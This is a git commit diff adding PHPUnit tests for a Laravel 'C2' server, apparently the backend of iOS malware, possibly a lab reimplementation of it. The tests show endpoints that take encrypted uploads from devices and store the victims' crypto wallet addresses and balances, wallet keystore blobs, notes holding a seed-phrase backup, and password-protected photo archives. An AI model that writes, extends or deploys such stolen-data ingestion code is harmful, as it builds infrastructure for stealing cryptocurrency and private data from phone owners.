This commit is contained in:
hashbro
2026-08-05 05:42:10 +08:00
parent d4fb538997
commit 22942f1a78
19 changed files with 986 additions and 164 deletions
+164
View File
@@ -6,10 +6,14 @@ use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -30,6 +34,7 @@ class C2ApiTest extends TestCase
{
$crypto = new CorunaCrypto;
$payload = [
'c' => '34f5121f572d6742703eb84ec2f866a6',
'd' => '000430C910E8E526',
'f' => '000430C910E8E526',
'deviceModel' => 'iPhone9,1',
@@ -58,6 +63,7 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
$this->assertNotNull($device);
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
$this->assertSame('15.8.4', $device->ios_version);
$this->assertSame('iPhone9,1', $device->device_model);
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
@@ -179,6 +185,164 @@ class C2ApiTest extends TestCase
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
}
#[Test]
public function status_ingests_har_shaped_ba_address_map(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600888';
$enc = $crypto->encryptJson([
'd' => 'dev-ba-1',
'a' => 'tp',
'ba' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
[
'balance' => '0',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
'name' => 'Tether USD',
'symbol' => 'USDT',
],
[
'balance' => '12.5',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
'name' => 'TRON',
'symbol' => 'TRX',
],
],
],
], $ts);
$this->call('POST', '/api/user/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-ba-1')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('tron', $addr->chain);
$this->assertSame('12.5', $addr->balance);
$this->assertSame('TRX', $addr->symbol);
$this->assertCount(2, $addr->meta_json['assets'] ?? []);
}
#[Test]
public function avatar_status_stores_keystore_blob_as_wallet_raw(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600999';
$enc = $crypto->encryptJson([
'd' => 'dev-ks-1',
'a' => 'im',
'result' => [
'crypto' => [
'cipher' => 'aes-128-ctr',
'ciphertext' => 'deadbeef',
'kdf' => 'pbkdf2',
'mac' => 'cafebabe',
],
'identity' => ['encKey' => 'aa'],
],
], $ts);
$this->call('POST', '/api/user/avatar/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
$this->assertNotNull($device);
$wallet = Wallet::query()->where('device_id', $device->id)->first();
$this->assertNotNull($wallet);
$this->assertNull($wallet->mnemonic);
$this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null);
}
#[Test]
public function avatar_pic_ingests_notes(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585601111';
$enc = $crypto->encryptJson([
'd' => 'dev-notes-1',
'notes' => [
['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'],
['name' => 'shopping', 'text' => 'milk'],
],
], $ts);
$this->call('POST', '/api/user/avatar/pic', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
$this->assertNotNull($device);
$this->assertSame(2, Note::query()->where('device_id', $device->id)->count());
$first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first();
$this->assertNotNull($first);
$this->assertStringContainsString('abandon', (string) $first->body);
}
#[Test]
public function check_extracts_photo_archive_and_stores_file(): void
{
Storage::fake('local');
$crypto = new CorunaCrypto;
$tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
// minimal JPEG SOI/EOI
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$this->assertFileExists($archivePath);
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$resp = $this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-1',
'f' => 'dev-photo-1',
'batchBase' => '0',
'count' => '1',
'total' => '1',
'index' => '0',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
);
$resp->assertOk();
$device = Device::query()->where('device_id', 'dev-photo-1')->first();
$this->assertNotNull($device);
$photo = Photo::query()->where('device_id', $device->id)->first();
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
Storage::disk('local')->assertExists($photo->path);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function admin_guest_is_redirected_to_admin_login(): void
{